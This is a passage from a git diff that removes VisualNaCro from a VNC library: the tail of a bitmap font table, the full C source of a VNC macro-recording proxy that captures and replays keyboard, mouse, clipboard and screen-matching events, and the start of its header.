-0x00,0x00,0x00,0x00,0xfe,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0xfe,0xc6,0x60,0x30,0x18,0x30,0x60,0xc6,0xfe,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x7e,0xd8,0xd8,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xc0,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x76,0xdc,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x7e,0x18,0x3c,0x66,0x66,0x66,0x3c,0x18,0x7e,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0x6c,0x38,0x00,0x00,0x00,0x00,
-0x00,0x00,0x38,0x6c,0xc6,0xc6,0xc6,0x6c,0x6c,0x6c,0x6c,0xee,0x00,0x00,0x00,0x00,
-0x00,0x00,0x1e,0x30,0x18,0x0c,0x3e,0x66,0x66,0x66,0x66,0x3c,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x7e,0xdb,0xdb,0xdb,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x03,0x06,0x7e,0xdb,0xdb,0xf3,0x7e,0x60,0xc0,0x00,0x00,0x00,0x00,
-0x00,0x00,0x1c,0x30,0x60,0x60,0x7c,0x60,0x60,0x60,0x30,0x1c,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0xff,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x30,0x18,0x0c,0x06,0x0c,0x18,0x30,0x00,0x7e,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x0c,0x18,0x30,0x60,0x30,0x18,0x0c,0x00,0x7e,0x00,0x00,0x00,0x00,
-0x00,0x00,0x0e,0x1b,0x1b,0x1b,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x7e,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0x00,0x76,0xdc,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x38,0x6c,0x6c,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x0f,0x0c,0x0c,0x0c,0x0c,0x0c,0xec,0x6c,0x6c,0x3c,0x1c,0x00,0x00,0x00,0x00,
-0x00,0xd8,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x70,0xd8,0x30,0x60,0xc8,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-};
-static int default8x16FontMetaData[256*5+1]={
-0,8,16,0,0,16,8,16,0,0,32,8,16,0,0,48,8,16,0,0,64,8,16,0,0,80,8,16,0,0,96,8,16,0,0,112,8,16,0,0,128,8,16,0,0,144,8,16,0,0,160,8,16,0,0,176,8,16,0,0,192,8,16,0,0,208,8,16,0,0,224,8,16,0,0,240,8,16,0,0,256,8,16,0,0,272,8,16,0,0,288,8,16,0,0,304,8,16,0,0,320,8,16,0,0,336,8,16,0,0,352,8,16,0,0,368,8,16,0,0,384,8,16,0,0,400,8,16,0,0,416,8,16,0,0,432,8,16,0,0,448,8,16,0,0,464,8,16,0,0,480,8,16,0,0,496,8,16,0,0,512,8,16,0,0,528,8,16,0,0,544,8,16,0,0,560,8,16,0,0,576,8,16,0,0,592,8,16,0,0,608,8,16,0,0,624,8,16,0,0,640,8,16,0,0,656,8,16,0,0,672,8,16,0,0,688,8,16,0,0,704,8,16,0,0,720,8,16,0,0,736,8,16,0,0,752,8,16,0,0,768,8,16,0,0,784,8,16,0,0,800,8,16,0,0,816,8,16,0,0,832,8,16,0,0,848,8,16,0,0,864,8,16,0,0,880,8,16,0,0,896,8,16,0,0,912,8,16,0,0,928,8,16,0,0,944,8,16,0,0,960,8,16,0,0,976,8,16,0,0,992,8,16,0,0,1008,8,16,0,0,1024,8,16,0,0,1040,8,16,0,0,1056,8,16,0,0,1072,8,16,0,0,1088,8,16,0,0,1104,8,16,0,0,1120,8,16,0,0,1136,8,16,0,0,1152,8,16,0,0,1168,8,16,0,0,1184,8,16,0,0,1200,8,16,0,0,1216,8,16,0,0,1232,8,16,0,0,1248,8,16,0,0,1264,8,16,0,0,1280,8,16,0,0,1296,8,16,0,0,1312,8,16,0,0,1328,8,16,0,0,1344,8,16,0,0,1360,8,16,0,0,1376,8,16,0,0,1392,8,16,0,0,1408,8,16,0,0,1424,8,16,0,0,1440,8,16,0,0,1456,8,16,0,0,1472,8,16,0,0,1488,8,16,0,0,1504,8,16,0,0,1520,8,16,0,0,1536,8,16,0,0,1552,8,16,0,0,1568,8,16,0,0,1584,8,16,0,0,1600,8,16,0,0,1616,8,16,0,0,1632,8,16,0,0,1648,8,16,0,0,1664,8,16,0,0,1680,8,16,0,0,1696,8,16,0,0,1712,8,16,0,0,1728,8,16,0,0,1744,8,16,0,0,1760,8,16,0,0,1776,8,16,0,0,1792,8,16,0,0,1808,8,16,0,0,1824,8,16,0,0,1840,8,16,0,0,1856,8,16,0,0,1872,8,16,0,0,1888,8,16,0,0,1904,8,16,0,0,1920,8,16,0,0,1936,8,16,0,0,1952,8,16,0,0,1968,8,16,0,0,1984,8,16,0,0,2000,8,16,0,0,2016,8,16,0,0,2032,8,16,0,0,2048,8,16,0,0,2064,8,16,0,0,2080,8,16,0,0,2096,8,16,0,0,2112,8,16,0,0,2128,8,16,0,0,2144,8,16,0,0,2160,8,16,0,0,2176,8,16,0,0,2192,8,16,0,0,2208,8,16,0,0,2224,8,16,0,0,2240,8,16,0,0,2256,8,16,0,0,2272,8,16,0,0,2288,8,16,0,0,2304,8,16,0,0,2320,8,16,0,0,2336,8,16,0,0,2352,8,16,0,0,2368,8,16,0,0,2384,8,16,0,0,2400,8,16,0,0,2416,8,16,0,0,2432,8,16,0,0,2448,8,16,0,0,2464,8,16,0,0,2480,8,16,0,0,2496,8,16,0,0,2512,8,16,0,0,2528,8,16,0,0,2544,8,16,0,0,2560,8,16,0,0,2576,8,16,0,0,2592,8,16,0,0,2608,8,16,0,0,2624,8,16,0,0,2640,8,16,0,0,2656,8,16,0,0,2672,8,16,0,0,2688,8,16,0,0,2704,8,16,0,0,2720,8,16,0,0,2736,8,16,0,0,2752,8,16,0,0,2768,8,16,0,0,2784,8,16,0,0,2800,8,16,0,0,2816,8,16,0,0,2832,8,16,0,0,2848,8,16,0,0,2864,8,16,0,0,2880,8,16,0,0,2896,8,16,0,0,2912,8,16,0,0,2928,8,16,0,0,2944,8,16,0,0,2960,8,16,0,0,2976,8,16,0,0,2992,8,16,0,0,3008,8,16,0,0,3024,8,16,0,0,3040,8,16,0,0,3056,8,16,0,0,3072,8,16,0,0,3088,8,16,0,0,3104,8,16,0,0,3120,8,16,0,0,3136,8,16,0,0,3152,8,16,0,0,3168,8,16,0,0,3184,8,16,0,0,3200,8,16,0,0,3216,8,16,0,0,3232,8,16,0,0,3248,8,16,0,0,3264,8,16,0,0,3280,8,16,0,0,3296,8,16,0,0,3312,8,16,0,0,3328,8,16,0,0,3344,8,16,0,0,3360,8,16,0,0,3376,8,16,0,0,3392,8,16,0,0,3408,8,16,0,0,3424,8,16,0,0,3440,8,16,0,0,3456,8,16,0,0,3472,8,16,0,0,3488,8,16,0,0,3504,8,16,0,0,3520,8,16,0,0,3536,8,16,0,0,3552,8,16,0,0,3568,8,16,0,0,3584,8,16,0,0,3600,8,16,0,0,3616,8,16,0,0,3632,8,16,0,0,3648,8,16,0,0,3664,8,16,0,0,3680,8,16,0,0,3696,8,16,0,0,3712,8,16,0,0,3728,8,16,0,0,3744,8,16,0,0,3760,8,16,0,0,3776,8,16,0,0,3792,8,16,0,0,3808,8,16,0,0,3824,8,16,0,0,3840,8,16,0,0,3856,8,16,0,0,3872,8,16,0,0,3888,8,16,0,0,3904,8,16,0,0,3920,8,16,0,0,3936,8,16,0,0,3952,8,16,0,0,3968,8,16,0,0,3984,8,16,0,0,4000,8,16,0,0,4016,8,16,0,0,4032,8,16,0,0,4048,8,16,0,0,4064,8,16,0,0,4080,8,16,0,0,};
-static rfbFontData default8x16Font = { default8x16FontData, default8x16FontMetaData };
diff --git a/VisualNaCro/nacro.c b/VisualNaCro/nacro.c
deleted file mode 100644
index 9c492b0..0000000
--- a/VisualNaCro/nacro.c
+++ /dev/null
@@ -1,801 +0,0 @@
-#include <assert.h>
-#include <string.h>
-#include <rfb/rfb.h>
-#include <rfb/rfbclient.h>
-
-#include "nacro.h"
-
-/* for visual grepping */
-typedef struct image_t {
- int width,height;
- char* buffer;
-} image_t;
-
-/* this is a VNC connection */
-typedef struct private_resource_t {
- int listen_port;
- rfbScreenInfo* server;
- rfbClient* client;
-
- uint32_t keysym;
- rfbBool keydown;
-
- int x,y;
- int buttons;
-
- char* text_client;
- char* text_server;
-
- image_t* grep_image;
- int x_origin,y_origin;
-
- enum { SLEEP,VISUALGREP,WAITFORUPDATE } state;
- result_t result;
-} private_resource_t;
-
-/* resource management */
-
-#define MAX_RESOURCE_COUNT 20
-
-static private_resource_t resource_pool[MAX_RESOURCE_COUNT];
-static int resource_count=0;
-
-static private_resource_t* get_resource(int resource)
-{
- if(resource>=MAX_RESOURCE_COUNT || resource<0 || resource_pool[resource].client==0)
- return NULL;
- return resource_pool+resource;
-}
-
-static private_resource_t* get_next_resource(void)
-{
- if(resource_count<MAX_RESOURCE_COUNT) {
- memset(resource_pool+resource_count,0,sizeof(private_resource_t));
- resource_count++;
- return resource_pool+resource_count-1;
- } else {
- int i;
-
- for(i=0;i<MAX_RESOURCE_COUNT && resource_pool[i].client;i++);
- if(i<MAX_RESOURCE_COUNT)
- return resource_pool+i;
- }
- return NULL;
-}
-
-static void free_resource(int resource)
-{
- private_resource_t* res=get_resource(resource);
- if(res)
- res->client=NULL;
-}
-
-/* hooks */
-
-static void got_key(rfbBool down,rfbKeySym keysym,rfbClientRec* cl)
-{
- private_resource_t* res=(private_resource_t*)cl->screen->screenData;
-
- res->keydown=down;
- res->keysym=keysym;
- res->result|=RESULT_KEY;
-}
-
-static void got_mouse(int buttons,int x,int y,rfbClientRec* cl)
-{
- private_resource_t* res=(private_resource_t*)cl->screen->screenData;
-
- res->buttons=buttons;
- res->x=x;
- res->y=y;
- res->result|=RESULT_MOUSE;
-}
-
-static void got_text(char* str,int len,rfbClientRec* cl)
-{
- private_resource_t* res=(private_resource_t*)cl->screen->screenData;
-
- if (res->text_client)
- free(res->text_client);
- res->text_client=strdup(str);
- res->result|=RESULT_TEXT_CLIENT;
-}
-
-static void got_text_from_server(rfbClient* cl, const char *str, int textlen)
-{
- private_resource_t* res=(private_resource_t*)cl->clientData;
-
- if (res->text_server)
- free(res->text_server);
- res->text_server=strdup(str);
- res->result|=RESULT_TEXT_SERVER;
-}
-
-static rfbBool malloc_frame_buffer(rfbClient* cl)
-{
- private_resource_t* res=(private_resource_t*)cl->clientData;
-
- if(!res->server) {
- int w=cl->width,h=cl->height;
-
- res->client->frameBuffer=malloc(w*4*h);
-
- res->server=rfbGetScreen(NULL,NULL,w,h,8,3,4);
- if(!res->server)
- return FALSE;
- res->server->screenData=res;
- res->server->port=res->listen_port;
- res->server->frameBuffer=res->client->frameBuffer;
- res->server->kbdAddEvent=got_key;
- res->server->ptrAddEvent=got_mouse;
- res->server->setXCutText=got_text;
- rfbInitServer(res->server);
- } else {
- /* TODO: realloc if necessary */
- /* TODO: resolution change: send NewFBSize */
- /* TODO: if the origin is out of bounds, reset to 0 */
- }
-}
-
-static bool_t do_visual_grep(private_resource_t* res,int x,int y,int w,int h)
-{
- rfbClient* cl;
- image_t* image;
- int x_start,y_start,x_end=x+w-1,y_end=y+h-1;
- bool_t found=0;
-
- if(res==0 || (cl=res->client)==0 || (image=res->grep_image)==0)
- return 0;
-
- x_start=x-image->width;
- y_start=y-image->height;
- if(x_start<0) x_start=0;
- if(y_start<0) y_start=0;
- if(x_end+image->width>cl->width) x_end=cl->width-image->width;
- if(y_end+image->height>cl->height) y_end=cl->height-image->height;
-
- /* find image and set x_origin,y_origin if found */
- for(y=y_start;y<y_end;y++)
- for(x=x_start;x<x_end;x++) {
- bool_t matching=1;
- int i,j;
- for(j=0;matching && j<image->height;j++)
- for(i=0;matching && i<image->width;i++)
- if(memcmp(cl->frameBuffer+4*(x+i+cl->width*(y+j)),image->buffer+4*(i+image->width*j),3))
- matching=0;
- if(matching) {
- private_resource_t* res=(private_resource_t*)cl->clientData;
- res->x_origin=x;
- res->y_origin=y;
- return -1;
- }
- }
- return 0;
-}
-
-static void got_frame_buffer(rfbClient* cl,int x,int y,int w,int h)
-{
- private_resource_t* res=(private_resource_t*)cl->clientData;
-
- assert(res->server);
-
- if(res->grep_image && do_visual_grep(res,x,y,w,h)) {
- res->result|=RESULT_FOUNDIMAGE;
- }
- if(res->server) {
- rfbMarkRectAsModified(res->server,x,y,x+w,y+h);
- }
-
- res->result|=RESULT_SCREEN;
-}
-
-/* init/shutdown functions */
-
-resource_t initvnc(const char* server,int server_port,int listen_port)
-{
- private_resource_t* res=get_next_resource();
- int dummy=0;
-
- if(res==0)
- return -1;
-
- /* remember for later */
- res->listen_port=listen_port;
-
- res->text_client = NULL;
- res->text_server = NULL;
-
- res->client=rfbGetClient(8,3,4);
- res->client->clientData=(void*)res;
- res->client->GotFrameBufferUpdate=got_frame_buffer;
- res->client->MallocFrameBuffer=malloc_frame_buffer;
- res->client->GotXCutText=got_text_from_server;
- res->client->serverHost=strdup(server);
- res->client->serverPort=server_port;
- res->client->appData.encodingsString="raw";
- if(!rfbInitClient(res->client,&dummy,NULL)) {
- res->client=NULL;
- return -1;
- }
- return res-resource_pool;
-}
-
-void closevnc(resource_t resource)
-{
- private_resource_t* res=get_resource(resource);
- if(res==0)
- return;
-
- if(res->server)
- rfbScreenCleanup(res->server);
-
- assert(res->client);
-
- rfbClientCleanup(res->client);
-
- res->client=NULL;
-}
-
-/* PNM (image) helpers */
-
-bool_t savepnm(resource_t resource,const char* filename,int x1,int y1,int x2,int y2)
-{
- private_resource_t* res=get_resource(resource);
- int i,j,w,h;
- uint32_t* buffer;
- FILE* f;
-
- if(res==0 || res->client==0)
- return 0;
- assert(res->client->format.depth==24);
-
- w=res->client->width;
- h=res->client->height;
- buffer=(uint32_t*)res->client->frameBuffer;
-
- if(res==0 || x1>x2 || y1>y2 || x1<0 || x2>=w || y1<0 || y2>=h)
- return FALSE;
-
- f=fopen(filename,"wb");
-
- if(f==0)
- return FALSE;
-
- fprintf(f,"P6\n%d %d\n255\n",1+x2-x1,1+y2-y1);
- for(j=y1;j<=y2;j++)
- for(i=x1;i<=x2;i++) {
- fwrite(buffer+i+j*w,3,1,f);
- }
- if(fclose(f))
- return FALSE;
- return TRUE;
-}
-
-static image_t* loadpnm(const char* filename)
-{
- FILE* f=fopen(filename,"rb");
- char buffer[1024];
- int i,j,w,h;
- image_t* image;
-
- if(f==0)
- return NULL;
-
- if(!fgets(buffer,1024,f) || strcmp("P6\n",buffer)) {
- fclose(f);
- return NULL;
- }
-
- do {
- fgets(buffer,1024,f);
- if(feof(f)) {
- fclose(f);
- return NULL;
- }
- } while(buffer[0]=='#');
-
- if( sscanf(buffer,"%d %d",&w,&h)!=2
- || !fgets(buffer,1024,f) || strcmp("255\n",buffer)) {
- fclose(f);
- return NULL;
- }
-
- image=(image_t*)malloc(sizeof(image_t));
- image->width=w;
- image->height=h;
- image->buffer=malloc(w*4*h);
- if(!image->buffer) {
- fclose(f);
- free(image);
- return NULL;
- }
-
- for(j=0;j<h;j++)
- for(i=0;i<w;i++)
- if(fread(image->buffer+4*(i+w*j),3,1,f)!=1) {
- fprintf(stderr,"Could not read 3 bytes at %d,%d\n",i,j);
- fclose(f);
- free(image->buffer);
- free(image);
- return NULL;
- }
-
- fclose(f);
-
- return image;
-}
-
-static void free_image(image_t* image)
-{
- if(image->buffer)
- free(image->buffer);
- free(image);
-}
-
-static void copy_line(rfbScreenInfo *dest, char *backup,
- int x0, int y0, int x1, int y1, int color_offset)
-{
- uint8_t *d = (uint8_t *)dest->frameBuffer, *s = (uint8_t *)backup;
- int i;
- int steps0 = x1 > x0 ? x1 - x0 : x0 - x1;
- int steps1 = y1 > y0 ? y1 - y0 : y0 - y1;
-
- if (steps1 > steps0)
- steps0 = steps1;
- else if (steps0 == 0)
- steps0 = 1;
-
- for (i = 0; i <= steps0; i++) {
- int j, index = 4 * (x0 + i * (x1 - x0) / steps0
- + dest->width * (y0 + i * (y1 - y0) / steps0));
- for (j = 0; j < 4; j++)
- d[index + j] = s[index + j] + color_offset;
- }
-
- rfbMarkRectAsModified(dest, x0 - 5, y0 - 5, x1 + 1, y1 + 2);
-}
-
-result_t displaypnm(resource_t resource, const char *filename,
- coordinate_t x, coordinate_t y, bool_t border,
- timeout_t timeout_in_seconds)
-{
- private_resource_t* res = get_resource(resource);
- image_t *image;
- char* fake_frame_buffer;
- char* backup;
- int w, h, i, j, w2, h2;
- result_t result;
-
- if (res == NULL || res->server == NULL ||
- (image = loadpnm(filename)) == NULL)
- return 0;
-
- w = res->server->width;
- h = res->server->height;
- fake_frame_buffer = malloc(w * 4 * h);
- if(!fake_frame_buffer)
- return 0;
- memcpy(fake_frame_buffer, res->server->frameBuffer, w * 4 * h);
-
- backup = res->server->frameBuffer;
- res->server->frameBuffer = fake_frame_buffer;
-
- w2 = image->width;
- if (x + w2 > w)
- w2 = w - x;
- h2 = image->height;
- if (y + h2 > h)
- h2 = h - y;
- for (j = 0; j < h2; j++)
- memcpy(fake_frame_buffer + 4 * (x + (y + j) * w),
- image->buffer + j * 4 * image->width, 4 * w2);
- free(image);
- if (border) {
- copy_line(res->server, backup, x, y, x + w2, y, 0x80);
- copy_line(res->server, backup, x, y, x, y + h2, 0x80);
- copy_line(res->server, backup, x + w2, y, x + w2, y + h2, 0x80);
- copy_line(res->server, backup, x, y + h2, x + w2, y + h2, 0x80);
- }
- rfbMarkRectAsModified(res->server,
- x - 1, y - 1, x + w2 + 1, y + h2 + 1);
-
- result = waitforinput(resource, timeout_in_seconds);
-
- res->server->frameBuffer=backup;
- free(fake_frame_buffer);
- rfbMarkRectAsModified(res->server,
- x - 1, y - 1, x + w2 + 1, y + h2 + 1);
-
- return result;
-}
-
-/* process() and friends */
-
-/* this function returns only if res->result in return_mask */
-static result_t private_process(resource_t resource,timeout_t timeout_in_seconds,result_t return_mask)
-{
- private_resource_t* res=get_resource(resource);
- fd_set fds;
- struct timeval tv,tv_start,tv_end;
- unsigned long timeout=(unsigned long)(timeout_in_seconds*1000000UL);
- int count,max_fd;
-
- if(res==0)
- return 0;
-
- assert(res->client);
-
- gettimeofday(&tv_start,NULL);
- res->result=0;
-
- do {
- unsigned long timeout_done;
-
- if(res->server) {
- rfbBool loop;
- do {
- loop=rfbProcessEvents(res->server,res->server->deferUpdateTime);
- } while(loop && (res->result&return_mask)==0
- && rfbIsActive(res->server));
-
- if(!rfbIsActive(res->server))
- return RESULT_SHUTDOWN;
-
- if((res->result&return_mask)!=0)
- return res->result;
-
- memcpy((char*)&fds,(const char*)&(res->server->allFds),sizeof(fd_set));
- max_fd=res->server->maxFd;
- } else {
- FD_ZERO(&fds);
- max_fd=0;
- }
- FD_SET(res->client->sock,&fds);
- if(res->client->sock>max_fd)
- max_fd=res->client->sock;
-
- gettimeofday(&tv_end,NULL);
- timeout_done=tv_end.tv_usec-tv_start.tv_usec+
- 1000000L*(tv_end.tv_sec-tv_start.tv_sec);
- if(timeout_done>=timeout)
- return RESULT_TIMEOUT;
-
- tv.tv_usec=((timeout-timeout_done)%1000000);
- tv.tv_sec=(timeout-timeout_done)/1000000;
-
- count=select(max_fd+1,&fds,NULL,NULL,&tv);
- if(count<0)
- return 0;
-
- if(count>0) {
- if(FD_ISSET(res->client->sock,&fds)) {
- if(!HandleRFBServerMessage(res->client)) {
- closevnc(resource);
- return 0;
- }
- if((res->result&return_mask)!=0)
- return res->result;
- }
- } else {
- res->result|=RESULT_TIMEOUT;
- return res->result;
- }
- } while(1);
-
- return RESULT_TIMEOUT;
-}
-
-result_t process(resource_t res,timeout_t timeout)
-{
- return private_process(res,timeout,RESULT_TIMEOUT);
-}
-
-result_t waitforanything(resource_t res,timeout_t timeout)
-{
- return private_process(res,timeout,-1);
-}
-
-result_t waitforinput(resource_t res,timeout_t timeout)
-{
- return private_process(res,timeout,RESULT_KEY|RESULT_MOUSE|RESULT_TIMEOUT);
-}
-
-result_t waitforupdate(resource_t res,timeout_t timeout)
-{
- return private_process(res,timeout,RESULT_SCREEN|RESULT_TIMEOUT);
-}
-
-result_t visualgrep(resource_t resource,const char* filename,timeout_t timeout)
-{
- private_resource_t* res=get_resource(resource);
- image_t* image;
- result_t result;
-
- if(res==0 || res->client==0)
- return 0;
-
- /* load filename and set res->grep_image to this image */
- image=loadpnm(filename);
- if(image==0)
- return 0;
- if(res->grep_image)
- free_image(res->grep_image);
- res->grep_image=image;
-
- if(do_visual_grep(res,0,0,res->client->width,res->client->height))
- return RESULT_FOUNDIMAGE;
-
- result=private_process(resource,timeout,RESULT_FOUNDIMAGE|RESULT_TIMEOUT);
-
- /* free image */
- if(res->grep_image) {
- free_image(res->grep_image);
- res->grep_image=NULL;
- }
-
- return result;
-}
-
-/* auxiliary function for alert */
-
-#include "default8x16.h"
-
-static void center_text(rfbScreenInfo* screen,const char* message,int* x,int* y,int* w,int* h)
-{
- rfbFontData* font=&default8x16Font;
- const char* pointer;
- int j,x1,y1,x2,y2,line_count=0;
- if(message==0 || screen==0)
- return;
- rfbWholeFontBBox(font,&x1,&y1,&x2,&y2);
- for(line_count=1,pointer=message;*pointer;pointer++)
- if(*pointer=='\n')
- line_count++;
-
- *h=(y2-y1)*line_count;
- assert(*h>0);
-
- if(*h>screen->height)
- *h=screen->height;
-
- *x=0; *w=screen->width; *y=(screen->height-*h)/2;
-
- rfbFillRect(screen,*x,*y,*x+*w,*y+*h,0xff0000);
-
- for(pointer=message,j=0;j<line_count;j++) {
- const char* eol;
- int x_cur,y_cur=*y-y1+j*(y2-y1),width;
-
- for(width=0,eol=pointer;*eol && *eol!='\n';eol++)
- width+=rfbWidthOfChar(font,*eol);
- if(width>screen->width)
- width=screen->width;
-
- x_cur=(screen->width-width)/2;
- for(;pointer!=eol;pointer++)
- x_cur+=rfbDrawCharWithClip(screen,font,
- x_cur,y_cur,*pointer,
- 0,0,screen->width,screen->height,
- 0xffffffff,0xffffffff);
- pointer++;
- }
- rfbMarkRectAsModified(screen,*x,*y,*x+*w,*y+*h);
-}
-
-/* this is an overlay which is shown for a certain time */
-
-result_t alert(resource_t resource,const char* message,timeout_t timeout)
-{
- private_resource_t* res=get_resource(resource);
- char* fake_frame_buffer;
- char* backup;
- int x,y,w,h;
- result_t result;
-
- if(res == NULL || res->server==NULL)
- return -1;
-
- w=res->server->width;
- h=res->server->height;
-
- fake_frame_buffer=malloc(w*4*h);
- if(!fake_frame_buffer)
- return -1;
- memcpy(fake_frame_buffer,res->server->frameBuffer,w*4*h);
-
- backup=res->server->frameBuffer;
- res->server->frameBuffer=fake_frame_buffer;
- center_text(res->server,message,&x,&y,&w,&h);
- fprintf(stderr,"%s\n",message);
-
- result=waitforinput(resource,timeout);
-
- res->server->frameBuffer=backup;
- free(fake_frame_buffer);
- rfbMarkRectAsModified(res->server,x,y,x+w,y+h);
-
- return result;
-}
-/* inspect last events */
-
-keysym_t getkeysym(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->keysym;
-}
-
-bool_t getkeydown(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->keydown;
-}
-
-coordinate_t getx(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->x;
-}
-
-coordinate_t gety(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->y;
-}
-
-buttons_t getbuttons(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->buttons;
-}
-
-const char *gettext_client(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->text_client;
-}
-
-result_t rubberband(resource_t resource, coordinate_t x0, coordinate_t y0)
-{
- private_resource_t* res=get_resource(resource);
- char* fake_frame_buffer;
- char* backup;
- int w, h, x, y;
-
- if(res == NULL || res->server==NULL)
- return -1;
-
- x = res->x;
- y = res->y;
- w = res->server->width;
- h = res->server->height;
- fake_frame_buffer = malloc(w * 4 * h);
- if(!fake_frame_buffer)
- return 0;
- memcpy(fake_frame_buffer, res->server->frameBuffer, w * 4 * h);
-
- backup = res->server->frameBuffer;
- res->server->frameBuffer = fake_frame_buffer;
-
- while (res->buttons) {
- result_t r = waitforinput(resource, 1000000L);
- if (x == res->x && y == res->y)
- continue;
- copy_line(res->server, backup, x0, y0, x, y0, 0);
- copy_line(res->server, backup, x0, y0, x0, y, 0);
- copy_line(res->server, backup, x, y0, x, y, 0);
- copy_line(res->server, backup, x0, y, x, y, 0);
- x = res->x;
- y = res->y;
- copy_line(res->server, backup, x0, y0, x, y0, 0x80);
- copy_line(res->server, backup, x0, y0, x0, y, 0x80);
- copy_line(res->server, backup, x, y0, x, y, 0x80);
- copy_line(res->server, backup, x0, y, x, y, 0x80);
- }
-
- copy_line(res->server, backup, x0, y0, x, y0, 0);
- copy_line(res->server, backup, x0, y0, x0, y, 0);
- copy_line(res->server, backup, x, y0, x, y, 0);
- copy_line(res->server, backup, x0, y, x, y, 0);
-
- res->server->frameBuffer=backup;
- free(fake_frame_buffer);
-
- return RESULT_MOUSE;
-}
-
-const char *gettext_server(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->text_server;
-}
-
-/* send events to the server */
-
-bool_t sendkey(resource_t res,keysym_t keysym,bool_t keydown)
-{
- private_resource_t* r=get_resource(res);
- if(r==NULL)
- return 0;
- return SendKeyEvent(r->client,keysym,keydown);
-}
-
-bool_t sendascii(resource_t res,const char *string)
-{
- timeout_t delay = 0.1;
- private_resource_t* r=get_resource(res);
- int i;
- if(r==NULL)
- return 0;
- while (*string) {
- int keysym = *string;
- int need_shift = 0;
-
- if (keysym >= 8 && keysym < ' ')
- keysym += 0xff00;
- else if (keysym >= 'A' && keysym <= 'Z')
- need_shift = 1;
- else if (keysym > '~') {
- fprintf(stderr, "String contains non-ASCII "
- "character 0x%02x\n", *string);
- return FALSE;
- }
-
- if (need_shift) {
- if (!SendKeyEvent(r->client,0xffe1,1))
- return FALSE;
- waitforinput(r,delay);
- }
- for (i = 1; i >= 0; i--) {
- if (!SendKeyEvent(r->client,keysym,i))
- return FALSE;
- waitforinput(r,delay);
- }
- if (need_shift) {
- if (!SendKeyEvent(r->client,0xffe1,0))
- return FALSE;
- waitforinput(r,delay);
- }
- string++;
- }
- return TRUE;
-}
-
-bool_t sendmouse(resource_t res,coordinate_t x,coordinate_t y,buttons_t buttons)
-{
- private_resource_t* r=get_resource(res);
- if(r==NULL)
- return 0;
- return SendPointerEvent(r->client,x,y,buttons);
-}
-
-bool_t sendtext(resource_t res, const char *string)
-{
- private_resource_t* r=get_resource(res);
- if(r==NULL)
- return 0;
- return SendClientCutText(r->client, (char *)string, (int)strlen(string));
-}
-
-bool_t sendtext_to_server(resource_t res, const char *string)
-{
- private_resource_t* r=get_resource(res);
- if(r==NULL)
- return 0;
- rfbSendServerCutText(r->server, (char *)string, (int)strlen(string));
- return 1;
-}
-
-/* for visual grepping */
-
-coordinate_t getxorigin(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->x_origin;
-}
-
-coordinate_t getyorigin(resource_t res)
-{
- private_resource_t* r=get_resource(res);
- return r->y_origin;
-}
-
diff --git a/VisualNaCro/nacro.h b/VisualNaCro/nacro.h
deleted file mode 100644
index abd0067..0000000
--- a/VisualNaCro/nacro.h
+++ /dev/null
@@ -1,120 +0,0 @@
-#ifndef NACRO_H
-#define NACRO_H
-
-#ifdef SWIG
-%module nacro
-
-%{
-
-/* types used */
-
-/* 0=false, every other value=true */
-typedef int bool_t;
-
-/* a keysym: identical with ASCII for values between 0-127 */
-typedef int keysym_t;
-
-/* this can be negative, because of a new origin set via visual grep */
-typedef int coordinate_t;
-
-/* left button is 1<<0, middle button is 1<<1, right button is 1<<2 */
-typedef unsigned char buttons_t;
-
-/* this is sort of a "file descriptor" for the proxy */
-typedef int resource_t;
-
-/* the timeout, specified in microseconds, for process() and friends */
-typedef double timeout_t;
-
